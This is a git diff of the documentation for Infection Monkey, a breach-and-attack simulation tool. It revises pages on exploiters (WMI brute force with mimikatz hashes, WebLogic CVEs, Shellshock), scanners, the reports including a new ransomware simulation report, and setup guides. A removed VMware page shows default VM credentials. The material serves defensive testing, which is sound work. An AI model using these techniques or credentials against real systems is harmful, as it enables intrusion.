WMI (Windows Management Instrumentation) using credentials provided by user (see ["Configuration"](../usage/configuration)) and hashes gathered by mimikatz. +This exploit brute forces WMI (Windows Management Instrumentation) using credentials provided by the user (see ["configuration"]({{< ref "/usage/configuration" >}}) for instructions) and hashes gathered by mimikatz. diff --git a/docs/content/reference/exploiters/WebLogic.md b/docs/content/reference/exploiters/WebLogic.md index 051fa4732..0e803641a 100644 --- a/docs/content/reference/exploiters/WebLogic.md +++ b/docs/content/reference/exploiters/WebLogic.md @@ -4,5 +4,6 @@ date: 2020-07-14T08:42:46+03:00 draft: false tags: ["exploit", "linux", "windows"] --- +### Description -Exploits CVE-2017-10271 and CVE-2019-2725 vulnerabilities on a vulnerable WebLogic server. +This exploits CVE-2017-10271 and CVE-2019-2725 vulnerabilities on a vulnerable WebLogic server. diff --git a/docs/content/reference/exploiters/_index.md b/docs/content/reference/exploiters/_index.md index 4624081d8..618fea0d0 100644 --- a/docs/content/reference/exploiters/_index.md +++ b/docs/content/reference/exploiters/_index.md @@ -9,8 +9,8 @@ tags = ["reference", "exploit"] # Exploiters -Infection Monkey uses various RCE exploiters. Most of these, in our knowledge, pose no risk to performance or services on victim machines. This documentation serves as a quick introduction to the exploiters currently implemented and vulnerabilities used by them. +The Infection Monkey uses various remote code execution (RCE) exploiters. To our best knowledge, most of these pose no risk to performance or services on victim machines. This documentation serves as a quick introduction to the exploiters currently implemented and the vulnerabilities they use. {{% children %}} -You can check out the Exploiters' implementation yourself [in the Monkey's GitHub repository](https://github.com/guardicore/monkey/tree/develop/monkey/infection_monkey/exploit). +You can check out the exploiters' implementation yourself [in the Infection Monkey's GitHub repository](https://github.com/guardicore/monkey/tree/develop/monkey/infection_monkey/exploit). diff --git a/docs/content/reference/exploiters/shellshock.md b/docs/content/reference/exploiters/shellshock.md index c220ae24f..20aee282f 100644 --- a/docs/content/reference/exploiters/shellshock.md +++ b/docs/content/reference/exploiters/shellshock.md @@ -4,7 +4,8 @@ date: 2020-07-14T08:41:32+03:00 draft: false tags: ["exploit", "linux"] --- +### Description -CVE-2014-6271, based on [logic in NCC group's GitHub](https://github.com/nccgroup/shocker/blob/master/shocker.py). +This exploit, CVE-2014-6271, is based on the [logic in NCC group's GitHub](https://github.com/nccgroup/shocker/blob/master/shocker.py). -> GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution, aka "ShellShock." +> In GNU Bash (through 4.3), processes trailing strings after function definitions in the values of environment variables allow remote attackers to execute arbitrary code via a crafted environment. This is demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients and other situations in which setting the environment occurs across a privilege boundary from Bash execution, AKA "ShellShock." diff --git a/docs/content/reference/mitre_techniques.md b/docs/content/reference/mitre_techniques.md index 9e528449e..4ff8beb04 100644 --- a/docs/content/reference/mitre_techniques.md +++ b/docs/content/reference/mitre_techniques.md @@ -3,19 +3,16 @@ title: "MITRE ATT&CK" date: 2020-09-24T08:18:37+03:00 draft: false pre: ' & ' -weight: 10 +weight: 10 --- {{% notice info %}} -Check out [the documentation for the MITRE ATT&CK report as well](../../usage/reports/mitre). +Check out [the documentation for the MITRE ATT&CK report as well]({{< ref "/reports/mitre" >}}). {{% /notice %}} -The Monkey maps its actions to the [MITRE ATT&CK](https://attack.mitre.org/) knowledge base and based on this, - provides a report detailing the techniques it used and recommended mitigations. - The idea is to help you simulate an APT attack on your network and mitigate real attack paths intelligently. - - In the following table we provide the list of all the ATT&CK techniques the Monkey provides info about, - categorized by tactic. You can follow any of the links to learn more about a specific technique or tactic. +The Infection Monkey maps its actions to the [MITRE ATT&CK](https://attack.mitre.org/) knowledge base and, based on this, provides a report detailing the techniques it used along with any recommended mitigations. This helps you simulate an advanced persistent threat (APT) attack on your network and mitigate real attack paths intelligently. + +In the following table, we list all the MITRE ATT&CK techniques the Infection Monkey provides info about, categorized by the tactic. You can follow any of the links below to learn more about a specific technique or tactic. | TACTIC | TECHNIQUES | diff --git a/docs/content/reference/operating_systems_support.md b/docs/content/reference/operating_systems_support.md index f3b1a44ba..36caaa25d 100644 --- a/docs/content/reference/operating_systems_support.md +++ b/docs/content/reference/operating_systems_support.md @@ -7,15 +7,15 @@ weight: 10 tags: ["setup", "reference", "windows", "linux"] --- -The Infection Monkey project supports many popular OSes (but we can always do more). +The Infection Monkey project supports many popular OSes (but we are always interested in supporting more). -The Monkey itself (the agent) has been tested to run on the following operating systems (on x64 architecture) +The Infection Monkey agent has been tested to run on the following operating systems (on the x86_64 architecture): -### Monkey support +### Agent support #### Linux -Compatibility depends on GLIBC version (2.14+)[^1]. By default these distributions are supported: +Compatibility depends on GLIBC version (2.14+)[^1]. By default, these distributions are supported: - Centos 7+ - Debian 7+ @@ -30,9 +30,9 @@ Compatibility depends on GLIBC version (2.14+)[^1]. By default these distributio - Windows 2012+ - Windows 2012_R2+ - Windows 7/Server 2008_R2 if [KB2999226](https://support.microsoft.com/en-us/help/2999226/update-for-universal-c-runtime-in-windows) is installed. -- Windows vista/Server 2008 should also work if the same update is installed, but this wasn't tested. +- Windows Vista/Server 2008 should also work if the same update is installed, but this wasn't tested. -### Island support +### Server support **The Monkey Island (control server)** runs out of the box on: @@ -42,13 +42,13 @@ Compatibility depends on GLIBC version (2.14+)[^1]. By default these distributio - Windows Server 2012 R2 - Windows Server 2016 -We provide a dockerfile from our [website](http://infectionmonkey.com/) that lets the Monkey Island run inside a container. +We also provide a Dockerfile on our [website](http://infectionmonkey.com/) that lets the Monkey Island run inside a container. ### Old machine bootloader -Some **Older machines** still get a partial compatibility as in they get exploited and reported, but monkey can't run on them. So instead of monkey, old machine bootloader (small c program) is ran, which reports some minor info like network interface configuration, GLIBC version, OS and so on. +Some **older machines** still have partial compatibility and will be exploited and reported, but the Infection Monkey agent can't run on them. In these cases, old machine bootloader (a small C program) will be run, which reports some minor info like network interface configuration, GLIBC version, OS, etc. -**Old machine bootloader** also has a GLIBC 2.14+ requirement for linux, because bootloader is included into pyinstaller bootloader which uses python3.7, which in turn requires GLIBC 2.14+. If you think partial support for older machines is important, don't hesitate to open a new issue about it. +**Old machine bootloader** also has a GLIBC 2.14+ requirement for Linux because the bootloader is included in the Pyinstaller bootloader, which uses Python 3.7 that in turn requires GLIBC 2.14+. If you think partial support for older machines is important, don't hesitate to open a new issue about it. **Old machine bootloader** runs on machines with: @@ -61,4 +61,4 @@ Some **Older machines** still get a partial compatibility as in they get exploit - Ubuntu 14+ - **Windows XP/Server 2003+** -[^1]: GLIBC >= 2.14 requirement comes from the fact that monkey is built using this GLIBC version and GLIBC is not backwards compatible. We are also limited to the oldest GLIBC version compatible with ptyhon3.7 +[^1]: The GLIBC >= 2.14 requirement exists because the Infection Monkey was built using this GLIBC version, and GLIBC is not backward compatible. We are also limited to the oldest GLIBC version compatible with Python 3.7. diff --git a/docs/content/reference/scanners/_index.md b/docs/content/reference/scanners/_index.md index cf047bb3b..8cca71b21 100644 --- a/docs/content/reference/scanners/_index.md +++ b/docs/content/reference/scanners/_index.md @@ -7,38 +7,38 @@ pre: ' ' tags: ["reference"] --- -The Infection Monkey agent has two steps before attempting to exploit a victim, scanning and fingerprinting, it's possible to customize both steps in the configuration files. +The Infection Monkey agent takes two steps before attempting to exploit a victim, scanning and fingerprinting. It's possible to customize both steps in the configuration files. ## Scanning -Currently there are two scanners, [`PingScanner`][ping-scanner] and [`TcpScanner`][tcp-scanner] both inheriting from [`HostScanner`][host-scanner]. +Currently there are two scanners, [`PingScanner`][ping-scanner] and [`TcpScanner`][tcp-scanner], both inheriting from [`HostScanner`][host-scanner]. The sole interface required is the `is_host_alive` interface, which needs to return True/False. -[`TcpScanner`][tcp-scanner] is the default scanner and it checks for open ports based on the `tcp_target_ports` configuration setting. +[`TcpScanner`][tcp-scanner] is the default scanner. It checks for open ports based on the `tcp_target_ports` configuration setting. -[`PingScanner`][ping-scanner] sends a ping message using the host OS utility `ping`. +[`PingScanner`][ping-scanner] sends a ping message using the host OS utility `ping.` ## Fingerprinting -Fingerprinters are modules that collect server information from a specific victim. They inherit from the [`HostFinger`][host-finger] class and are listed under `finger_classes` configuration option. +Fingerprinters are modules that collect server information from a specific victim. They inherit from the [`HostFinger`][host-finger] class and are listed under the `finger_classes` configuration option. -Currently implemented Fingerprint modules are: +The currently implemented Fingerprint modules are: -1. [`SMBFinger`][smb-finger] - Fingerprints target machines over SMB. Extracts computer name and OS version. -2. [`SSHFinger`][ssh-finger] - Fingerprints target machines over SSH (port 22). Extracts the computer version and SSH banner. -3. [`PingScanner`][ping-scanner] - Fingerprints using the machines TTL, to differentiate between Linux and Windows hosts. -4. [`HTTPFinger`][http-finger] - Fingerprints over HTTP/HTTPS, using the ports listed in `HTTP_PORTS` in the configuration. Returns the server type and if it supports SSL. -5. [`MySQLFinger`][mysql-finger] - Fingerprints over MySQL (port 3306). Extracts MySQL banner info - Version, Major/Minor/Build and capabilities. -6. [`ElasticFinger`][elastic-finger] - Fingerprints over ElasticSearch (port 9200). Extracts the cluster name, node name and node version. +1. [`SMBFinger`][smb-finger] - Fingerprints target machines over SMB and extracts the computer name and OS version. +2. [`SSHFinger`][ssh-finger] - Fingerprints target machines over SSH (port 22) and extracts the computer version and SSH banner. +3. [`PingScanner`][ping-scanner] - Fingerprints target machine's TTL to differentiate between Linux and Windows hosts. +4. [`HTTPFinger`][http-finger] - Detects HTTP/HTTPS services, using the ports listed in `HTTP_PORTS` in the configuration, will return the server type and if it supports SSL. +5. [`MySQLFinger`][mysql-finger] - Fingerprints MySQL (port 3306) and will extract MySQL banner info - version, major/minor/build and capabilities. +6. [`ElasticFinger`][elastic-finger] - Fingerprints ElasticSearch (port 9200) will extract the cluster name, node name and node version. ## Adding a scanner/fingerprinter -To add a new scanner/fingerprinter, create a new class that inherits from [`HostScanner`][host-scanner] or [`HostFinger`][host-finger] (depending on the interface). The class should be under the network module and should be imported under [`network/__init__.py`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey/network/__init__.py). +To add a new scanner/fingerprinter, create a new class that inherits from [`HostScanner`][host-scanner] or [`HostFinger`][host-finger] (depending on the interface). The class should be under the network module and imported under [`network/__init__.py`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey/network/__init__.py). -To be used by default, two files need to be changed - [`infection_monkey/config.py`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey/config.py) and [`infection_monkey/example.conf`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey/example.conf) to add references to the new class. +To use the new scanner/fingerprinter by default, two files need to be changed - [`infection_monkey/config.py`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey/config.py) and [`infection_monkey/example.conf`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey/example.conf) to add references to the new class. -At this point, the Monkey knows how to use the new scanner/fingerprinter but to make it easy to use, the UI needs to be updated. The relevant UI file is [`monkey_island/cc/services/config.py`](https://github.com/guardicore/monkey/blob/master/monkey/monkey_island/cc/services/config.py). +At this point, the Infection Monkey knows how to use the new scanner/fingerprinter but to make it easy to use, the UI needs to be updated. The relevant UI file is [`monkey_island/cc/services/config.py`](https://github.com/guardicore/monkey/blob/master/monkey/monkey_island/cc/services/config.py). [elastic-finger]: https://github.com/guardicore/monkey/blob/develop/monkey/infection_monkey/network/elasticfinger.py [http-finger]: https://github.com/guardicore/monkey/blob/develop/monkey/infection_monkey/network/httpfinger.py diff --git a/docs/content/reports/mitre.md b/docs/content/reports/mitre.md index d1ab3f20c..ac03f1284 100644 --- a/docs/content/reports/mitre.md +++ b/docs/content/reports/mitre.md @@ -2,11 +2,12 @@ title: "MITRE ATT&CK report" description: "Maps the Monkey's actions to the MITRE ATT&CK knowledge base" date: 2020-06-24T21:17:18+03:00 +weight: 3 draft: false --- {{% notice info %}} -Check out [the documentation for other reports available in the Infection Monkey](../) and [the documentation for supported ATT&CK techniques](../../../reference/mitre_techniques). +Check out [the documentation for other reports available in the Infection Monkey]({{< ref "/reports" >}}) and [the documentation for supported ATT&CK techniques]({{< ref "/reference/mitre_techniques" >}}). {{% /notice %}} The Infection Monkey maps its actions to the [MITRE ATT&CK](https://attack.mitre.org/) knowledge base. After simulating an advanced persistent threat (APT) attack, it generates a report summarizing the success of the techniques utilized along with recommended mitigation steps, helping you identify and mitigate attack paths in your environment. diff --git a/docs/content/reports/ransomware.md b/docs/content/reports/ransomware.md new file mode 100644 index 000000000..cd16d5e7c --- /dev/null +++ b/docs/content/reports/ransomware.md @@ -0,0 +1,49 @@ +--- +title: "Ransomware report" +date: 2021-08-05T13:23:10+03:00 +weight: 4 +draft: false +description: "Provides information about ransomware simulation on your network" +--- + +{{% notice info %}} +Check out [the Infection Monkey's ransomware simulation documentation]({{< ref +"/usage/scenarios/ransomware-simulation" >}}) and [the documentation for other +available reports]({{< ref "/reports" >}}). +{{% /notice %}} + +The Infection Monkey can be configured to [simulate a ransomware +attack](/usage/scenarios/ransomware-simulation) on your network. After running, +it generates a **Ransomware Report** that provides you with insight into how +ransomware might behave within your environment. + +The report is split into three sections: + +- [Breach](#breach) +- [Lateral Movement](#lateral-movement) +- [Attack](#attack) + +## Breach + +The breach section shows when and where the ransomware infection began. + +![Breach](/images/usage/reports/ransomware_report_1_breach.png "Breach") + + +## Lateral movement + +The lateral movement section provides information about how the simulated +ransomware was able to propagate through your network. + + +![Lateral +Movement](/images/usage/reports/ransomware_report_2_lateral_movement.png +"Lateral Movement") + + +## Attack + +The attack section shows the details of what the simulated ransomware +successfully encrypted, including a list of specific files. + +![Attack](/images/usage/reports/ransomware_report_3_attack.png "Attack") diff --git a/docs/content/reports/security.md b/docs/content/reports/security.md index e70f8539c..23299b2ab 100644 --- a/docs/content/reports/security.md +++ b/docs/content/reports/security.md @@ -1,12 +1,13 @@ --- title: "Security report" date: 2020-06-24T21:16:10+03:00 +weight: 1 draft: false description: "Provides actionable recommendations and insight into an attacker's view of your network" --- {{% notice info %}} -Check out [the documentation for other reports available in the Infection Monkey](../). +Check out [the documentation for other reports available in the Infection Monkey]({{< ref "/reports" >}}). {{% /notice %}} The Infection Monkey's **Security Report** provides you with actionable recommendations and insight into an attacker's view of your network. You can download a PDF of an example report here: diff --git a/docs/content/reports/zero-trust.md b/docs/content/reports/zero-trust.md index 0e41d8ff7..921025b5b 100644 --- a/docs/content/reports/zero-trust.md +++ b/docs/content/reports/zero-trust.md @@ -1,6 +1,7 @@ --- title: "Zero Trust report" date: 2020-06-24T21:16:18+03:00 +weight: 2 draft: false description: "Generates a status report with detailed explanations of Zero Trust security gaps and prescriptive instructions on how to rectify them" --- @@ -28,7 +29,7 @@ This diagram provides you with a quick glance at how your organization scores on ## Test Results -This section shows how your network fared against each of the tests the Infection Monkey ran. The tests are ordered by Zero Trust pillar, so you can quickly navigate to the category you want to prioritize. +This section shows how your network fared against each of the tests the Infection Monkey ran. The tests are ordered by Zero Trust pillar, so you can quickly navigate to the category you want to prioritize. ![Zero Trust Report test results](/images/usage/reports/ztreport2.png "Zero Trust Report test results") diff --git a/docs/content/setup/_index.md b/docs/content/setup/_index.md index 0e5d38690..b97088b12 100644 --- a/docs/content/setup/_index.md +++ b/docs/content/setup/_index.md @@ -4,7 +4,7 @@ date = 2020-05-26T20:55:04+03:00 weight = 5 chapter = true pre = ' ' -tags = ["setup"] +tags = ["setup"] +++ # Setting up Infection Monkey @@ -15,7 +15,7 @@ Once you've downloaded an installer, follow the relevant guide for your environm {{% children %}} -After setting the Monkey up, check out our [Getting Started](../usage/getting-started) guide! +After setting the Monkey up, check out our [Getting Started](/usage/getting-started) guide! {{% notice tip %}} You can find information about [operating system compatibility and support here](../reference/operating_systems_support). diff --git a/docs/content/setup/accounts-and-security.md b/docs/content/setup/accounts-and-security.md index da8dbbbb3..cd87c2f19 100644 --- a/docs/content/setup/accounts-and-security.md +++ b/docs/content/setup/accounts-and-security.md @@ -15,15 +15,4 @@ If you want an island to be accessible without credentials, press *I want anyone ## Resetting your account credentials -To reset your credentials, edit `monkey_island\cc\server_config.json` by deleting the `user` and `password_hash` variables. - -When you restart the Monkey Island server, you will again be prompted with the registration form. - -Example `server_config.json` for account reset: - -```json -{ - "server_config": "password", - "deployment": "develop" -} -``` +This procedure is documented in [the FAQ]({{< ref "/faq/#how-do-i-reset-the-monkey-island-password" >}}). diff --git a/docs/content/setup/debian.md b/docs/content/setup/debian.md deleted file mode 100644 index b76d27ec0..000000000 --- a/docs/content/setup/debian.md +++ /dev/null @@ -1,89 +0,0 @@ ---- -title: "Debian" -date: 2020-05-26T20:57:19+03:00 -draft: false -pre: ' ' -weight: 1 -disableToc: false -tags: ["setup", "debian", "linux"] ---- - - -## Supported Distros - -This Debian package has been tested on Ubuntu Bionic 18.04 LTS and Ubuntu Focal 20.04 LTS. - -## Deployment - -1. Update your package list by running: - ```sh - sudo apt update - ``` -1. If you are using Ubuntu Focal 20.04, run the following commands to install - Python 3.7: - ```sh - sudo apt install software-properties-common - sudo add-apt-repository ppa:deadsnakes/ppa - sudo apt install python3.7 python3.7-dev - ``` -1. Extract the tarball by running: - ```sh - tar -xvzf monkey-island-debian.tgz - ``` -1. Install the Monkey Island Debian package: - ```sh - sudo dpkg -i monkey_island.deb # this might print errors - ``` -1. If, at this point, you receive dpkg errors that look like this: - - ```sh - dpkg: error processing package gc-monkey-island (--install): - dependency problems - leaving unconfigured - Errors were encountered while processing: - gc-monkey-island - ``` - - It just means that not all dependencies were pre-installed on your system. - That's no problem! Just run the following command, which will install all - dependencies, and then install the Monkey Island: - - ```sh - sudo apt install -f - ``` - -## Troubleshooting - -### Trying to install on Ubuntu <16.04 - -If you're trying to install the Monkey Island on Ubuntu 16.04 or older, you -need to install the dependencies yourself, since Python 3.7 is only installable -from the `deadsnakes` PPA. To install the Monkey Island on Ubuntu 16.04, follow -these steps: - -```sh -sudo apt update -sudo apt-get install libcurl4-openssl-dev -sudo apt-get install software-properties-common -sudo add-apt-repository ppa:deadsnakes/ppa -sudo apt-get update -sudo apt-get install python3.7-dev python3.7-venv python3-venv build-essential -sudo dpkg -i monkey_island.deb # this might print errors -sudo apt install -f -``` - -### The Monkey Island interface isn't accessible after installation - -To check the status of the Monkey Island after the installation, run the following command: `sudo service monkey-island status`. - -## Upgrading - -Currently, there's no "upgrade-in-place" option when a new version is released. -To get the updated version, download the new `.deb` file and install it. You -should see a message like `Unpacking monkey-island (1.8.2) over (1.8.0)`. After -which, the installation should complete successfully. - -If you'd like to keep your existing configuration, you can export it to a file -using the *Export config* button and then import it to the new Monkey Island. - -![Export configuration](../../images/setup/export-configuration.png "Export configuration") - diff --git a/docs/content/setup/docker.md b/docs/content/setup/docker.md index 14454bdc6..d92aa1bf5 100644 --- a/docs/content/setup/docker.md +++ b/docs/content/setup/docker.md @@ -7,19 +7,127 @@ weight: 4 tags: ["setup", "docker", "linux", "windows"] --- +## Supported operating systems + +The Infection Monkey Docker container works on Linux only. It is not compatible with Docker for Windows or Docker for Mac. + ## Deployment -To extract the `tar.gz` file, run `tar -xvzf monkey-island-docker.tar.gz`. +### 1. Load the docker images +1. Pull the MongoDB v4.2 Docker image: -Once you've extracted the container from the tar.gz file, run the following commands: + ```bash + sudo docker pull mongo:4.2 + ``` -```sh -sudo docker load -i dk.monkeyisland.1.10.0.tar -sudo docker pull mongo:4.2 -sudo mkdir -p /var/monkey-mongo/data/db -sudo docker run --name monkey-mongo --network=host -v /var/monkey-mongo/data/db:/data/db -d mongo:4.2 -sudo docker run --name monkey-island --network=host -d guardicore/monkey-island:1.10.0 -``` +1. Extract the Monkey Island Docker tarball: + + ```bash + tar -xvzf monkey-island-docker.tar.gz + ``` + +1. Load the Monkey Island Docker image: + + ```bash + sudo docker load -i dk.monkeyisland.VERSION.tar + ``` + +### 2. Start MongoDB + +1. Start a MongoDB Docker container: + + ```bash + sudo docker run \ + --name monkey-mongo \ + --network=host \ + --volume db:/data/db \ + --detach \ + mongo:4.2 + ``` + +### 3a. Start Monkey Island with default certificate + +By default, Infection Monkey comes with a [self-signed SSL certificate](https://aboutssl.org/what-is-self-sign-certificate/). In +enterprise or other security-sensitive environments, it is recommended that the +user [provide Infection Monkey with a +certificate](#3b-start-monkey-island-with-user-provided-certificate) that has +been signed by a private certificate authority. + +1. Run the Monkey Island server + ```bash + sudo docker run \ + --name monkey-island \ + --network=host \ + guardicore/monkey-island:VERSION + ``` + +### 3b. Start Monkey Island with user-provided certificate + +1. Create a directory named `monkey_island_data`. This will serve as the + location where Infection Monkey stores its configuration and runtime + artifacts. + + ```bash + mkdir ./monkey_island_data + chmod 700 ./monkey_island_data + ``` + +1. Run Monkey Island with the `--setup-only` flag to populate the `./monkey_island_data` directory with a default `server_config.json` file. + + ```bash + sudo docker run \ + --rm \ + --name monkey-island \ + --network=host \ + --user "$(id -u ${USER}):$(id -g ${USER})" \ + --volume "$(realpath ./monkey_island_data)":/monkey_island_data \ + guardicore/monkey-island:VERSION --setup-only + ``` + +1. Move your `.crt` and `.key` files to `./monkey_island_data`. + +1. Make sure that your `.crt` and `.key` files are readable and writeable only by you. + + ```bash + chmod 600 ./monkey_island_data/ + chmod 600 ./monkey_island_data/ + ``` + +1. Edit `./monkey_island_data/server_config.json` to configure Monkey Island + to use your certificate. Your config should look something like this: + + ```json {linenos=inline,hl_lines=["11-14"]} + { + "data_dir": "/monkey_island_data", + "log_level": "DEBUG", + "environment": { + "server_config": "password", + "deployment": "docker" + }, + "mongodb": { + "start_mongodb": false + }, + "ssl_certificate": { + "ssl_certificate_file": "/monkey_island_data/", + "ssl_certificate_key_file": "/monkey_island_data/" + } + } + ``` + +1. Start the Monkey Island server: + + ```bash + sudo docker run \ + --name monkey-island \ + --network=host \ + --user "$(id -u ${USER}):$(id -g ${USER})" \ + --volume "$(realpath ./monkey_island_data)":/monkey_island_data \ + guardicore/monkey-island:VERSION + ``` + +### 4. Accessing Monkey Island + +After the Monkey Island docker container starts, you can access Monkey Island by pointing your browser at `https://localhost:5000`. ## Upgrading @@ -31,3 +139,31 @@ If you'd like to keep your existing configuration, you can export it to a file using the *Export config* button and then import it to the new Monkey Island. ![Export configuration](../../images/setup/export-configuration.png "Export configuration") + +## Troubleshooting + +### The Monkey Island container crashes due to a 'UnicodeDecodeError' + +You will encounter a `UnicodeDecodeError` if the `monkey-island` container is +using a different secret key to encrypt sensitive data than was initially used +to store data in the `monkey-mongo` container. + +``` +UnicodeDecodeError: 'utf-8' codec can't decode byte 0xee in position 0: invalid continuation byte +``` + +Starting a new container from the `guardicore/monkey-island:VERSION` image +generates a new secret key for storing sensitive information in MongoDB. If you +have an old database instance running (from a previous instance of Infection +Monkey), the data stored in the `monkey-mongo` container has been encrypted +with a key that is different from the one that Monkey Island is currently +using. When MongoDB attempts to decrypt its data with the new key, decryption +fails and you get this error. + +You can fix this in one of three ways: +1. Instead of starting a new container for the Monkey Island, you can run `docker container start -a monkey-island` to restart the existing container, which will contain the correct key material. +1. Kill and remove the existing MongoDB container, and start a new one. This will remove the old database entirely. Then, start the new Monkey Island container. +1. When you start the Monkey Island container, use `--volume + monkey_island_data:/monkey_island_data`. This will store all of Monkey + Island's runtime artifacts (including the encryption key file) in a docker + volume that can be reused by subsequent Monkey Island containers. diff --git a/docs/content/setup/linux.md b/docs/content/setup/linux.md new file mode 100644 index 000000000..09bf7cac3 --- /dev/null +++ b/docs/content/setup/linux.md @@ -0,0 +1,103 @@ +--- +title: "Linux" +date: 2020-05-26T20:57:28+03:00 +draft: false +pre: ' ' +weight: 4 +tags: ["setup", "AppImage", "linux"] +--- + +## Supported operating systems + +An [AppImage](https://appimage.org/) is a distribution-agnostic, self-running +package that contains an application and everything that it may need to run. + +The Infection Monkey AppImage package should run on most modern Linux distros that have FUSE +installed, but the ones that we've tested are: +- BlackArch 2020.12.01 +- Kali 2021.2 +- Parrot 4.11 +- Rocky 8 +- openSUSE Leap 15.3 +- Ubuntu Bionic 18.04 +- Ubuntu Focal 20.04 +- Ubuntu Hirsute 21.04 + +## Deployment + +1. Make the AppImage package executable: + ```bash + chmod u+x Infection_Monkey_v1.11.0.AppImage + ``` +1. Start Monkey Island by running the Infection Monkey AppImage package: + ```bash + ./Infection_Monkey_v1.11.0.AppImage + ``` +1. Access the Monkey Island web UI by pointing your browser at + `https://localhost:5000`. + +### Start Monkey Island with user-provided certificate + +By default, Infection Monkey comes with a [self-signed SSL +certificate](https://aboutssl.org/what-is-self-sign-certificate/). In +enterprise or other security-sensitive environments, it is recommended that the +user provide Infection Monkey with a certificate that has been signed by a +private certificate authority. + +1. Run the Infection Monkey AppImage package with the `--setup-only` flag to + populate the `$HOME/.monkey_island` directory with a default + `server_config.json` file. + + ```bash + ./Infection_Monkey_v1.11.0.AppImage --setup-only + ``` + +1. (Optional but recommended) Move your `.crt` and `.key` files to + `$HOME/.monkey_island`. + +1. Make sure that your `.crt` and `.key` files are readable only by you. + + ```bash + chmod 600 + chmod 600 + ``` + +1. Edit `$HOME/.monkey_island/server_config.json` to configure Monkey Island + to use your certificate. Your config should look something like this: + + ```json {linenos=inline,hl_lines=["11-14"]} + { + "data_dir": "~/.monkey_island", + "log_level": "DEBUG", + "environment": { + "server_config": "password", + "deployment": "linux" + }, + "mongodb": { + "start_mongodb": true + }, + "ssl_certificate": { + "ssl_certificate_file": "", + "ssl_certificate_key_file": "" + } + } + ``` + +1. Start Monkey Island by running the Infection Monkey AppImage package: + ```bash + ./Infection_Monkey_v1.11.0.AppImage + ``` + +1. Access the Monkey Island web UI by pointing your browser at + `https://localhost:5000`. + +## Upgrading + +Currently, there's no "upgrade-in-place" option when a new version is released. +To get an updated version, download the updated AppImage package and follow the deployment +instructions again. + +If you'd like to keep your existing configuration, you can export it to a file +using the *Export config* button and then import it to the new Monkey Island. + +![Export configuration](../../images/setup/export-configuration.png "Export configuration") diff --git a/docs/content/setup/vmware.md b/docs/content/setup/vmware.md deleted file mode 100644 index c6519672b..000000000 --- a/docs/content/setup/vmware.md +++ /dev/null @@ -1,75 +0,0 @@ ---- -title: "VMware" -date: 2020-05-26T20:57:14+03:00 -draft: false -pre: ' ' -weight: 3 -tags: ["setup", "vmware"] ---- - -## Deployment - -1. Deploy the Infection Monkey OVA by choosing **Deploy OVF Template** and - following the wizard instructions. *Note: make sure ports 5000 and 5001 on - the machine are accessible for inbound TCP traffic.* -1. Turn on the Infection Monkey VM. -1. Log in to the machine with the following credentials: - 1. Username: **monkeyuser** - 1. Password: **Noon.Earth.Always** -1. For security purposes, it's recommended that you change the machine - passwords by running the following commands: `sudo passwd monkeyuser`, `sudo - passwd root`. - -## OVA network modes - -You can use the OVA in one of two modes: - -1. In a network with the DHCP configured — In this case, the Monkey Island will - automatically query and receive an IP address from the network. -1. With a static IP address — In this case, you should log in to the VM console - with the username `monkeyuser` and the password `Noon.Earth.Always`. After logging - in, edit the Netplan configuration by entering the following command in the - prompt: - - ```sh - sudo nano /etc/netplan/00-installer-config.yaml - ``` - - Make the following changes: - - ```diff - # This is the network config written by 'subiquity' - network: - ethernets: - ens160: - - dhcp4: true - + dhcp4: false - + addresses: [XXX.XXX.XXX.XXX/24] - + gateway4: YYY.YYY.YYY.YYY - + nameservers: - + addresses: [1.1.1.1] - version: 2 - ``` - - Replace `XXX.XXX.XXX.XXX` with the desired IP addess of the VM. Replace - `YYY.YYY.YYY.YYY` with the default gateway. - - Save the changes then run the command: - - ```sh - sudo netplan apply - ``` - - If this configuration does not suit your needs, see - https://netplan.io/examples/ for more information about how to configure - Netplan. - -## Upgrading - -Currently, there's no "upgrade-in-place" option when a new version is released. -To get an updated version, download the updated OVA file. - -If you'd like to keep your existing configuration, you can export it to a file -using the *Export config* button and then import it to the new Monkey Island. - -![Export configuration](../../images/setup/export-configuration.png "Export configuration") diff --git a/docs/content/setup/windows.md b/docs/content/setup/windows.md index d1ce0d43c..080a2a035 100644 --- a/docs/content/setup/windows.md +++ b/docs/content/setup/windows.md @@ -9,6 +9,10 @@ tags: ["setup", "windows"] ## Deployment +{{% notice tip %}} +Don't get scared if the Infection Monkey gets [flagged as malware during the installation](/faq/#is-infection-monkey-a-malwarevirus). +{{% /notice %}} + After running the installer, the following prompt should appear on the screen: ![Windows installer screenshot](../../images/setup/windows/installer-screenshot-1.png "Windows installer screenshot") @@ -16,8 +20,48 @@ After running the installer, the following prompt should appear on the screen: 1. Follow the steps to complete the installation. 1. Run the Monkey Island by clicking on the desktop shortcut. +### Start Monkey Island with user-provided certificate + +By default, Infection Monkey comes with a [self-signed SSL certificate](https://aboutssl.org/what-is-self-sign-certificate/). In +enterprise or other security-sensitive environments, it is recommended that the +user provide Infection Monkey with a certificate that has been signed by a +private certificate authority. + +1. If you haven't already, run the Monkey Island by clicking on the desktop + shortcut. This will populate MongoDB, as well as create and populate + `%AppData%\monkey_island`. +1. Stop the Monkey Island process. +1. (Optional but recommended) Move your `.crt` and `.key` files to `%AppData%\monkey_island`. +1. Edit `%AppData%\monkey_island\server_config.json` to configure Monkey Island + to use your certificate. Your config should look something like this: + + ```json {linenos=inline,hl_lines=["11-14"]} + { + "log_level": "DEBUG", + "environment": { + "server_config": "password", + "deployment": "windows" + }, + "mongodb": { + "start_mongodb": true + }, + "ssl_certificate": { + "ssl_certificate_file": "", + "ssl_certificate_key_file": "" + } + } + ``` +1. Run the Monkey Island by clicking on the desktop shortcut. + ## Troubleshooting +### Support + +Only **English** system locale is supported. If your command prompt gives output in a different +language, the Infection Monkey is not guaranteed to work. + +For supported Windows versions, take a look at the [OS support 